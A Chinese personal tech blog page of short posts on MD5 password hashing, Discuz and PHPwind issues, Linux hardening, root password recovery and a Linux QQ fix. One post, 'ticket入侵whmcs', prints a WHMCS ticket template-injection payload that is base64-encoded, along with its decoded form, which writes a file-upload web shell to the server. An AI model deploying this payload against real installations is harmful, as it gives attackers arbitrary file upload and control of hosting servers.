用户信息泄密门的一点个人思考-算法变形

软件相关 No Comments »

因为我只懂使用易语言,所以只用易语言进行演示….
在CSDN和天涯等数据被泄露的事件中,无一不暴露出开发商与开发平台对用户信息的保护薄弱,很多平台居然使用的是明码保存用户信息和密码.
目前使用最广泛的加密方式是MD5加密,对于网上说的MD5对碰破解,因为对这方面没有怎么接触过,不过我大致以为,所谓的MD5碰撞破解可能就是把常用的一些用户名和密码事先用MD5加密后存入数据库,这样可以得知这些用户名和密码MD5加密后的内容,例如:
admin|123456789MD5加密过后的内容就是07abd66a8edf1bdd4b0ec3aefd79d26a在得到用户名和密码后,可以用MD5加密这些数据再和数据库里的碰撞对比,如果加密后的MD5哈希值是07abd66a8edf1bdd4b0ec3aefd79d26a那我们就知道用户名和密码是admin|123456789.
简单的MD5加密可能会被破解,但是如果开发平台或开发者在加密注册用户信息的时候添加指定的字符窜或内容再进行加密,或者多重MD5加密后再把数据保存进数据库,以后用户登录的时候,再用这个数据去对碰数据库里的数据,相信安全性能会高很多,被破解的概率也会小很多.

.版本 2
.支持库 dp1

.程序集 窗口程序集1

.子程序 _按钮1_被单击

.如果 (编辑框1.内容 ≠ “” 且 编辑框2.内容 ≠ “”)
    编辑框3.内容 = 取数据摘要 (到字节集 (编辑框1.内容 + “|” + 编辑框2.内容))
    ' 置剪辑板文本 (编辑框3.内容)
    编辑框4.内容 = 取数据摘要 (到字节集 (编辑框1.内容 + “|” + 编辑框3.内容))
.否则
    信息框 (“您没有输入用户名或密码,请重新输入!”, #信息图标, 标题)
.如果结束


分享个Centos和Ubuntu的yum更新源

Linux No Comments »

天津大学开源软件镜像站:http://mirror.tju.edu.cn/

Centos:http://mirror.tju.edu.cn/centos/
Ubuntu:http://mirror.tju.edu.cn/ubuntu/

Discuz上传图片失败的解决方法

软件交流 No Comments »

相信使用Discuz的朋友们都遇到过这样的问题,上传文件失败或不显示,包括现在官方论坛里还有很多站长在问这个问题.我以前也遇见过这样的问题,现在将自己的解决方法与大家分享探讨.没有多少技术含量.
1:程序问题
我曾经遇到过上传的Discuz文件不完整造成图片上传失败或无法显示的问题,不知道是不是因为网速的问题,在上传的时候FTP工具断开造成文件上传不完整引起的问题.我的解决办法是在上传完Discuz文件后,再看一看FTP工具里的上传纪录信息,将上传失败并自动续传的文件重新上传.
2:目录权限问题
有时候存放附件的目录没有读写权限,也会造成上传图片失败或无法显示,解决方法是将存放附件的目录设置为777(修改,读取,写入),WIN系统的话,请将目录设置为大一点的权限.
3:图片问题
我以前曾经遇到过图片上传失败的问题,恰巧那几天我刚好升级了补丁包,我还以为是补丁的原因,就为这个我还对Discuz官方的技术和管理人员心生怨气.后来无意中看了自己用数码相机拍摄的图片像素大过1024像素了,将像素改小一点后上传就正常了.
以上三点是我自己遇到过的问题,所以写出来给有需要的朋友们参考.
关键字:Discuz 图片上传失败 图片显示失败 文件上传失败

Firefox浏览器使用Adblock plush过滤广告

软件相关 No Comments »

Adblock plush是一款过滤广告的插件(组件),我们现在以Firefox8.0.1和Adblock Plus 2.0.2演示.

被广告弄得搓火吗?被跟随鼠标的标语弄得烦心吗?被横幅弄得感到厌恶吗?立即安装 Adblock Plus 来重新取得 Internet 的控制权并且改变您浏览网页的方式。

Adblock Plus 让您重新取得 Internet 的控制权和您查看网页的方式。本附加组件支持多语言,有超过40个的过滤规则订阅,这些过滤规则会进行自动配置,为您过滤所有来自已知有恶意域的在线广告。Adblock Plus 也允许您通过各种有用的特性来自定义您的过滤规则,这些特性包括:图片的右键菜单、Flash 和 Java 对象的过滤标签、用于移除脚本和样式表的可过滤项目列表。
Adblock Plus 2.0.2:https://addons.mozilla.org/firefox/downloads/latest/1865/addon-1865-latest.xpi?src=dp-btn-primary

安装完成后,可在 Firefox工具栏\工具\看到Adblock Plus选项,在该选项的右边菜单中可以看到多个配置选项,如下图,我们首先要在 Adblock Plus\过滤规则参数选择\添加过滤规则订阅\添加其他订阅\ChinaList(中文)添加中文规则 或相应的规则包规则.然后按下“添加订阅”按钮,重启Firefox浏览器即可.


Adblock Plus白名单设置:如果想对某个网站上的广告进行Adblock Plus白名单设置或不对某个网站的广告进行过滤的话,我们只需要在浏览这个网站的时候,在Firefox工具栏\工具\Adblock Plus\在*******禁用Adblock Plus(勾选)即可不过滤这个网站的广告了,***字符为当前网站域名或地址.

假如腾讯数据库被暴

七嘴八舌 No Comments »

CSDN、金山毒霸、天涯等多家网站数据库相继泄密,当我们都担心接下来会不会有更大的爆料时,企鹅君的独白让我们释然了……

如何保证Linux系统安全

Linux No Comments »

Linux作为开放式的操作系统受到很多程序员的喜爱,很多高级程序员都喜欢编写Linux操作系统的相关软件。这使得Linux操作系统有着丰富的软件支持,还有无数的技术人员作为技术后盾和技术支持,这使得Linux越来越受到程序员的欢迎。
但这种开放式的操作系统有一个最大的弊端就是每个程序员的水平不等,编写相关软件后并未注意自己程序中的漏洞。没有统一的漏洞检查,这使得Linux的软件中会出现很多的漏洞,而软件开发者却很难察觉自己编写程序的漏洞,但黑客们会非常注意这些漏洞,并且会利用这些漏洞来达到自己的目的。那么是不是Linux系统就不安全了呢?其实大可不必担心,只要做好下述几点便可安心的使用Linux系统,

一、取消不必要的服务
早期的Unix版本中,每一个不同的网络服务都有一个服务程序在后台运行,后来的版本用统一的/etc/inetd服务器程序担此重任。Inetd是Internetdaemon的缩写,它同时监视多个网络端口,一旦接收到外界传来的连接信息,就执行相应的TCP或UDP网络服务。
由于受inetd的统一指挥,因此Linux中的大部分TCP或UDP服务都是在/etc/inetd.conf文件中设定。所以取消不必要服务的第一步就是检查/etc/inetd.conf文件,在不要的服务前加上“#”号。
一般来说,除了http、smtp、telnet和ftp之外,其他服务都应该取消,诸如简单文件传输协议tftp、网络邮件存储及接收所用的imap/ipop传输协议、寻找和搜索资料用的gopher以及用于时间同步的daytime和time等。
还有一些报告系统状态的服务,如finger、efinger、systat和netstat等,虽然对系统查错和寻找用户非常有用,但也给黑客提供了方便之门。例如,黑客可以利用finger服务查找用户的电话、使用目录以及其他重要信息。因此,很多Linux系统将这些服务全部取消或部分取消,以增强系统的安全性。
Inetd除了利用/etc/inetd.conf设置系统服务项之外,还利用/etc/services文件查找各项服务所使用的端口。因此,用户必须仔细检查该文件中各端口的设定,以免有安全上的漏洞。
在Linux中有两种不同的服务型态:一种是仅在有需要时才执行的服务,如finger服务;另一种是一直在执行的永不停顿的服务。这类服务在系统启动时就开始执行,因此不能靠修改inetd来停止其服务,而只能从修改/etc/rc.d/rc[n].d/文件或用Runleveleditor去修改它。提供文件服务的NFS服务器和提供NNTP新闻服务的news都属于这类服务,如果没有必要,最好取消这些服务。
二、限制系统的出入
在进入Linux系统之前,所有用户都需要登录,也就是说,用户需要输入用户账号和密码,只有它们通过系统验证之后,用户才能进入系统。
与其他Unix操作系统一样,Linux一般将密码加密之后,存放在/etc/passwd文件中。Linux系统上的所有用户都可以读到/etc/passwd文件,虽然文件中保存的密码已经经过加密,但仍然不太安全。因为一般的用户可以利用现成的密码破译工具,以穷举法猜测出密码。比较安全的方法是设定影子文件/etc/shadow,只允许有特殊权限的用户阅读该文件。
在Linux系统中,如果要采用影子文件,必须将所有的公用程序重新编译,才能支持影子文件。这种方法比较麻烦,比较简便的方法是采用插入式验证模块(PAM)。很多Linux系统都带有Linux的工具程序PAM,它是一种身份验证机制,可以用来动态地改变身份验证的方法和要求,而不要求重新编译其他公用程序。这是因为PAM采用封闭包的方式,将所有与身份验证有关的逻辑全部隐藏在模块内,因此它是采用影子档案的最佳帮手。
此外,PAM还有很多安全功能:它可以将传统的DES加密方法改写为其他功能更强的加密方法,以确保用户密码不会轻易地遭人破译;它可以设定每个用户使用电脑资源的上限;它甚至可以设定用户的上机时间和地点。
Linux系统管理人员只需花费几小时去安装和设定PAM,就能大大提高Linux系统的安全性,把很多攻击阻挡在系统之外。
三、保持最新的系统核心
由于Linux流通渠道很多,而且经常有更新的程序和系统补丁出现,因此,为了加强系统安全,一定要经常更新系统内核。Kernel是Linux操作系统的核心,它常驻内存,用于加载操作系统的其他部分,并实现操作系统的基本功能。由于Kernel控制计算机和网络的各种功能,因此,它的安全性对整个系统安全至关重要。
早期的Kernel版本存在许多众所周知的安全漏洞,而且也不太稳定,只有2.0.x以上的版本才比较稳定和安全,新版本的运行效率也有很大改观。在设定Kernel的功能时,只选择必要的功能,千万不要所有功能照单全收,否则会使Kernel变得很大,既占用系统资源,也给黑客留下可乘之机。
在Internet上常常有最新的安全修补程序,Linux系统管理员应该消息灵通,经常光顾安全新闻组,查阅新的修补程序。
四、增强安全防护工具
SSH是安全套接层的简称,它是可以安全地用来取代rlogin、rsh和rcp等公用程序的一套程序组。SSH采用公开密钥技术对网络上两台主机之间的通信信息加密,并且用其密钥充当身份验证的工具。由于SSH将网络上的信息加密,因此它可以用来安全地登录到远程主机上,并且在两台主机之间安全地传送信息。实际上,SSH不仅可以保障Linux主机之间的安全通信,Windows用户也可以通过SSH安全地连接到Linux服务器上。
五、限制超级用户的权力
我们在前面提到,root是Linux保护的重点,由于它权力无限,因此最好不要轻易将超级用户授权出去。但是,有些程序的安装和维护工作必须要求有超级用户的权限,在这种情况下,可以利用其他工具让这类用户有部分超级用户的权限。Sudo就是这样的工具。Sudo程序允许一般用户经过组态设定后,以用户自己的密码再登录一次,取得超级用户的权限,但只能执行有限的几个指令。
六、设定用户账号的安全等级
除密码之外,用户账号也有安全等级,这是因为在Linux上每个账号可以被赋予不同的权限,因此在建立一个新用户ID时,系统管理员应该根据需要赋予该账号不同的权限,并且归并到不同的用户组中。在Linux系统上的tcpd中,可以设定允许上机和不允许上机人员的名单。其中,允许上机人员名单在/etc/hosts.allow中设置,不允许上机人员名单在/etc/hosts.deny中设置。设置完成之后,需要重新启动inetd程序才会生效。此外,Linux将自动把允许进入或不允许进入的结果记录到/rar/log/secure文件中,系统管理员可以据此查出可疑的进入记录。每个账号ID应该有专人负责。在企业中,如果负责某个ID的职员离职,管理员应立即从系统中删除该账号。很多入侵事件都是借用了那些很久不用的账号。在用户账号之中,黑客最喜欢具有root权限的账号,这种超级用户有权修改或删除各种系统设置,可以在系统中畅行无阻。因此,在给任何账号赋予root权限之前,都必须仔细考虑。
Linux系统中的/etc/securetty文件包含了一组能够以root账号登录的终端机名称。例如,在RedHatLinux系统中,该文件的初始值仅允许本地虚拟控制台(rtys)以root权限登录,而不允许远程用户以root权限登录。最好不要修改该文件,如果一定要从远程登录为root权限,最好是先以普通账号登录,然后利用su命令升级为超级用户。

linux忘记root密码又忘记grub密码的解决方法

Linux No Comments »

当我们忘记root密码时如果GRUB没有设置密码(或者知道GRUB密码时)我们可以 用单用户方法来修改密码,这是我们就得用光盘修改root密码 1,将系统光盘放入光驱,设置光驱引导。

2,选择F2进入系统修复 输入命令:linux rescue

3,以下出现的几个选择和安装系统时一样。
4当出现这个提示的时候应该记住,他提示的命令:chroot /mnt/sysimage

5 下一步就是进入修改密码,我们先行:chroot /mnt/sysimage 不认不能进入可写模式。

6 最后运行命令:passwd
新密码
确认新密码

7 重启计算机. 如何为grub加密:为grub密分为二种,一是明文,二是采用MD5算法的加密。
明文加密:编辑 grub.conf文件
vim /boor/grub/grub.conf 在default=0下面加一行 password=1234567890(这个就是明文密码) MD5加密:先要命令 grub-md5-crypt计算出MD5的值,然后复制这个值到grub.conf文件中 password –md5$BYxEn$e5X/xOTS2pTpPPWtgIMhU1(这个就是用MD5加密后的值)

PHPwind论坛系统批量删除功能BUG

软件交流 No Comments »

PHPwind论坛系统批量删除功能不太理想,朋友一论坛,使用的是PHPwind8.5驱动,但是在垃圾帖子与广告帖子批量删除的时候PHPwind有一个明显的BUG,在系统后台使用批量删除帖子功能的时候,明明用户名下的所有帖子和内容都已经被清除,但在前台首页和版块页面上,仍然能看到帐子回复那里的最新回复用户名还是这个被操作的用户名,这里就出现了一个问题,如果哪个用户想发布广告内容,只需要将该广告的关键词注册成用户,在论坛里批量回复帖子的时候,就算论坛管理员在系统后台批量删除了这个用户的帖子,清除了系统缓存,但是在论坛首页和版块页面的最新回复状态那里看到的最新回复仍然是这个用户名.系统并没有因为这个用户名的数据被删除清空了而清理这个用户名的缓存.
还有一个严重的BUG就是,在系统后台使用批量删除用户帖子和内容的时候,不会同时删除该用户的日志,所以很多用户在发布广告帖子的时候,就算帖子被全部删除了,搜索引擎仍然能收录到该用户的日志.PHPwind系统后台的帖子批量删除功能居然还分为帖子批量删除和回复批量删除,并没有整合成一个一键全部清除的功能.这一点就比不上Discuz系统的功能了.希望PHPwind在新的版本里能有所改进或发布修正补丁.

ticket入侵whmcs

软件相关 No Comments »

注:资料摘自一主机交流论坛
ticket:工单
whmcs:是一套专为主机业务及其他在线交易开发的客户管理,财务,支持软件.

    {php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZajVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUgwTkNuME5DajgrIik7DQokZm8gPSBmb3Blbigia2lyLnBocCIsInciKTsNCmZ3cml0ZSgkZm8sJGNvZGUpOw=='));{/php}
    base64解密后:
    $code = <?php
    echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
    echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
    if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
    else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
    }
    ?>
    $fo = fopen("kir.php","w");
    fwrite($fo,$code);

 

linuxqq自动退出关闭的解决方法

Linux No Comments »

问题症状:只要一打开QQ聊天窗口,点击查看聊天历史记录,或者点击了QQ截图,或其他操作,QQ很容易就自动退出关闭了。
解决方法:
只要修改一下qq配置文件(/usr/bin/qq)就可以了。具体如下。

1. 打开qq配置文件:在终端输入命令代码:sudo gedit /usr/bin/qq

2. 在打开的qq配置文件中,在#!bin/sh下面一行,cd /usr/share/tencent/qq/前面一行的位置插入代码:

export GDK_NATIVE_WINDOWS=true

3. 最终修改后的QQ脚本配置文件如下,保存关闭即可。

#!/bin/sh
export GDK_NATIVE_WINDOWS=true
cd /usr/share/tencent/qq/
./qq

4. 重启QQ,qq不再自动退出和关闭了。

以上方法多个linux系统均可适用,Redhat,centos,ubuntu,openSUSE,fedora,debian.

同福客栈论坛 & 海南乡情论坛 by 0898-shop &
Entries RSS Comments RSS 登录
  琼ICP备08000253号